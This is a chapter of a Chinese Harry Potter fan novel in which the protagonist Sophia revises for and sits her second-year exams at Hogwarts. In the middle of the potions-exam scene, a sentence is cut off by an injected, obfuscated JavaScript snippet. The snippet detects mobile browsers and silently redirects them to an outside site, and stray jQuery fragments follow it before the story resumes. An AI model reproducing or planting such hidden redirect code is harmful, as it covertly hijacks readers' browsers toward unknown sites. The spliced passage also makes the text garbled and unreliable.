54.第 54 章

作品:《霍格沃茨的日常HP

    第54章


    --


    让我们把镜头切回霍格沃茨,时间拔回1991年的6月。


    小天狼星搬到女贞路,与哈利相处的种种一切,索菲亚以后才得知,现在索菲亚更关心自己的学习。


    因为霍格沃茨的六月,只有一个主题——期末考试!


    城堡里的气氛悄然转变。平日嬉笑打闹的走廊安静了许多,取而代之的是学生们抱着书本匆匆而过的身影,以及公共休息室和图书馆里持续到深夜的灯火通明。


    对索菲亚而言,二年级的学业压力与一年级时截然不同。一年级她像个懵懂的闯入者,需要恶补海量的魔法世界常识,学得稍显吃力。而这一年,她不仅跟上了课程,更利用课余时间广泛阅读,连《诗翁彼豆故事集》都啃完了(除了鼎鼎大名的“三兄弟传说”,她对《好运泉》里那个固执的女巫和《巫师和跳跳埚》里那口有思想的锅印象格外深刻),知识储备大大增强。面对二年级的课程,她感到一种驾轻就熟的从容。


    魔咒课和魔法史成了需要反复练习和记忆的常规项目。她常常和室友海伦、苏珊、米莉一起,在赫奇帕奇公共休息室的角落互相抽查咒语手势和历史事件年代。海伦笔记工整,逻辑清晰;苏珊消息灵通,总能补充些有趣的背景故事;而索菲亚则擅长归纳重点和联想记忆。三个女孩组成的“复习小队”效率颇高。


    天文课的魅力在深入学习和装备升级后彻底展现。她淘换了一个二手的、但镜头格外清晰的魔法望远镜,夜晚站在天文塔上,能清晰地看到木星的条纹、土星的光环,甚至一些遥远星云的模糊光斑。当她了解到许多高级魔药的炼制需要观测特定星象(如月相、行星轨迹)时,这门课更增添了一份实用的神秘色彩。


    变形术依然是她的“苦手”科目。尽管麦格教授的教学非常棒,拆解知识点很到位,但真正的难点在于索菲亚内心深处那个来自前世科学教育的“物质守恒”的坎。她总是无法像米莉森特(出身巫师家庭)那样,自然而然地将甲虫想象成一颗没有生命、结构单一的纽扣。她需要花费额外的时间,在脑海中强行“说服”自己,进行那种看似违背物理规律的转变。公共休息室里,常常能看到她对着一根火柴念念有词。


    熬制魔药对索菲亚来说也越来越熟练了,类似于前世做饭。步骤清晰,原料明确,成败关键在于精准和耐心。在使用了麦格教授赠送的那套精确的银制天平砝码后,她称量原料的准确性大大提高,魔药成绩稳步提升,很少再因为比例错误而制造出颜色诡异的失败品。经常在上课时,观察斯内普教授在黑板上演示时,偶尔会写下一些与《魔法药剂与药水》教材上略有不同、甚至相悖的原料处理小技巧(比如瞌睡豆不是挤压,而是用银刀侧面精准拍击出汁液效果更好)。她赶紧把这些独家心得记在自己的本本上,心想这下露出马脚了吧,“混血王子”。


    草药学自然是她的快乐老家和强势学科。她不仅理论知识扎实,更因为有求必应屋温室和海格菜地的实践经验,对各种魔法植物的习性了如指掌。斯普劳特教授复习时提到某种植物的特性,她往往能结合自己种植时观察到的现象来理解,答题时常常能写出让教授眼前一亮的具体细节。


    复习期间,艾玛·坎贝尔也从拉文克劳塔楼跑下来找过她几次,主要是借阅她那本标注得密密麻麻的魔法史笔记。“索菲亚,你的笔记简直就是比宾斯教授讲课还清晰的‘历史纲要’!”艾玛感叹道,作为回报,她会分享一些拉文克劳学霸们总结的魔咒学速记口诀。


    考试前一周,压力达到顶峰。就连最贪玩的學生也收起了玩心。一天深夜,复习到头昏脑涨的索菲亚和室友们决定溜去厨房找点吃的补充能量。家养小精灵们看到她们,热情地端出了热牛奶、刚烤好的小蛋糕和三明治。四个女孩围坐在厨房温暖的大桌子旁,一边狼吞虎咽,一边互相提问,或是抱怨某门课太难,气氛反而比在休息室更轻松些。


    期末考试周终于在一种混合着紧张、焦虑和“早死早超生”的悲壮氛围中来临。


    礼堂被重新布置,长桌变成了单人隔间,防止作弊。羽毛笔划过羊皮纸的沙沙声、偶尔响起的咳嗽声、以及监考教授巡视的脚步声构成了考试的主旋律。


    魔咒理论笔试还算顺利;实践考试时,索菲亚成功让一只凤梨踩着节奏跳完了整段塔兰泰拉舞,弗立维教授高兴地给她打了分。


    魔法史的题目果然又长又偏,幸好她复习得全面,填空题和选择题都没什么问题。


    天文课实践考试是在晴朗的夜空下辨认并绘制星座图,她的新望远镜派上了大用场。


    变形术实践考试是把一只甲虫变成纽扣。索菲亚集中精神力,想象纽扣光滑表面,坚硬的材质,快速地把甲虫变成了一颗带着草莓图案的红色纽扣,她舒一口气,发挥得不错。


    这学期,黑魔法防御术只有实践考试,考试地点设在了魁地奇球场旁的一片空地上,这里被临时用魔法标记出了几个独立的圆形考场。艾琳·凡恩教授穿着利落的实战长袍,微笑地站在场边,松弛地抱手看着她学生们考场上的种种反应。


    考试内容分为两部分:


    防御部分:面对一个由魔法驱动、会间歇性发射无害但冲击力不小的彩色气泡咒的魔法装置,考生需要在规定时间内成功施展盔甲护身(Protego)咒语,有效偏转或阻挡攻击。咒语的稳定性、施展速度和覆盖范围都是评分关键。


    反击部分:在成功防御后,需要迅速对场地另一端的几个魔法稻草人靶子依次施展统统石化(Petrificus Totalus)和晕晕倒地(Stupefy)咒语。要求咒语准确命中,并能清晰判断出石化咒(使靶子僵硬不动)和昏迷咒(使靶子向后倒去)的不同效果。


    索菲亚上场时,深吸一口气。她集中精神,回想凡恩教授强调的意志聚焦点。当彩色气泡呼啸而来时,她挥动魔杖,清晰有力地念出:“盔甲护身!”一道半透明的、微微闪烁的屏障瞬间出现在她身前,成功将气泡弹开,虽然屏障在她停止魔力输出后很快消散,但整个过程稳定有效。凡恩教授在本子上记了一笔。


    紧接着,她迅速转向稻草人靶子。“统统石化!”一道白光击中第一个靶子,它立刻变得僵硬如木偶。“晕晕倒地!”一道更强烈的红光击中第二个靶子,它应声向后倒去。索菲亚对自己的表现还算满意,虽然咒语的强度和速度可能不如一些更有天赋的学生,但准确度和连贯性都达到了要求。她看到凡恩教授微微点了点头,可惜了哈利他们没机会遇到这位好老师了。


    魔药课考试包含笔试与实践考试。笔试在礼堂进行。题目不仅考察了对各种魔药配方、原料属性的记忆,更增加了理解性题目,比如“分析月长石粉在缓和剂中的作用原理”或“如果瞌睡豆汁液提取不当,可能导致缩身药水出现何种副作用?”索菲亚答得颇为顺畅,尤其是在一道关于原料处理方法的简答题上,她大胆地写了“用银质小刀侧面精准拍击瞌睡豆,比传统挤压法更能有效释放其活性成分,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16388431|177161||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    且不易混入苦涩的纤维杂质”,并简要说明了理由。她不知道这种特殊的拍马屁方式,斯内普教授是否买账,但这是她观察到的“混血王子”技巧,她认为值得一写。


    实践考试依旧在地窖的魔药教室进行,气氛更加凝重。空气中弥漫着各种药材的古怪气味,以及坩埚下蓝色火焰的嗡嗡声。斯内普教授像一只巨大的蝙蝠,无声地在桌椅间滑行,黑袍翻滚,带来无形的压力。


    考题是:在规定时间内,独立完成一份合格的缩身药水(Shrinking Solution)。


    索菲亚沉住气,先仔细阅读了黑板上的步骤要求,然后开始有条不紊地操作。她首先精确称量了毛虫切片、缩皱无花果皮和老鼠脾脏等原料。她特别小心地处理了毛虫,确保切片厚薄均匀。当处理到雏菊根时,她需要将其碾碎,用着精确的天平砝码,她称取的每一份原料都分毫不差。


    熬制过程需要严格控制火候和搅拌方向,严格按照步骤操作。当药水最终变成一种理想的、清澈的酸绿色时,她小心翼翼地将其装入水晶瓶。


    斯内普教授拿起她的药瓶,对着灯光仔细观察其颜色和澄澈度,又打开瓶塞,轻轻嗅了嗅气味。他的脸上没有任何表情,只是用他那特有的、滑腻的声调低沉地说:“……可以了,史密斯小姐。”然后便走向下一个学生。虽然没有表扬,但也没有批评和扣分,这对斯内普而言,几乎就是一种肯定了。索菲亚心里一块石头落了地,这次应该有希望拿O了。


    草药学笔试对于索菲亚来说是享受。题目包括识别魔法植物的草图并写出其特性、用途(比如“指出下图植物的名称,并说明其果实和叶片的魔法用途有何不同”),以及一些情景分析题(如“如果一株毒触手突然变得焦躁并主动攻击,可能是什么原因?应如何安全处理?”)。索菲亚答得行云流水,甚至在一些题目旁画了简图辅助说明,展示了她深厚的理解。


    实践考试在第三温室进行,由慈祥的斯普劳特教授主持。气氛比魔药课轻松愉快得多,空气中是湿润的泥土和植物的清香。


    考试内容分为几个小站点:


    识别站:快速准确地说出温室内随机指定的五种魔法植物的名称和主要特性。


    处理站:安全地为一株米布米宝更换花盆(需要戴上厚实的龙皮手套,并小心避开它喷吐的尖刺)。


    采集站:从一株曼德拉草幼苗上取下两片叶子,而不惊扰到它(需要手法轻柔快速,并佩戴隔音耳罩以防万一)。


    索菲亚轻松愉快地完成了所有项目。她甚至在对米布米宝换盆时,下意识地用上了自己平常安抚神奇动物的金手指,那株米布米宝意外地安静配合,没有乱射尖刺。斯普劳特教授看到这一幕,脸上露出了惊喜和赞许的笑容,毫不吝啬地给她加了分。


    当所有考试结束的铃声响起,索菲亚和同学们一起冲出考场,感觉像是打了一场硬仗后终于获得了胜利。无论成绩如何,她都已经全力以赴,并且真切地感受到了自己在这一年里的成长和收获。接下来,就是拥抱充满阳光和自由的暑假了!


    当最后一门考试结束的铃声响起时,整个霍格沃茨仿佛都集体松了一口气。城堡里瞬间爆发出巨大的欢呼声和喧闹声,学生们把课本和笔记抛向空中,庆祝着暂时的解放。


    索菲亚和她的室友们拥抱在一起,脸上洋溢着疲惫却灿烂的笑容。无论结果如何,她们都已经尽力了。接下来,就是等待成绩公布,以及期待已久的、没有任何功课压力的暑假了!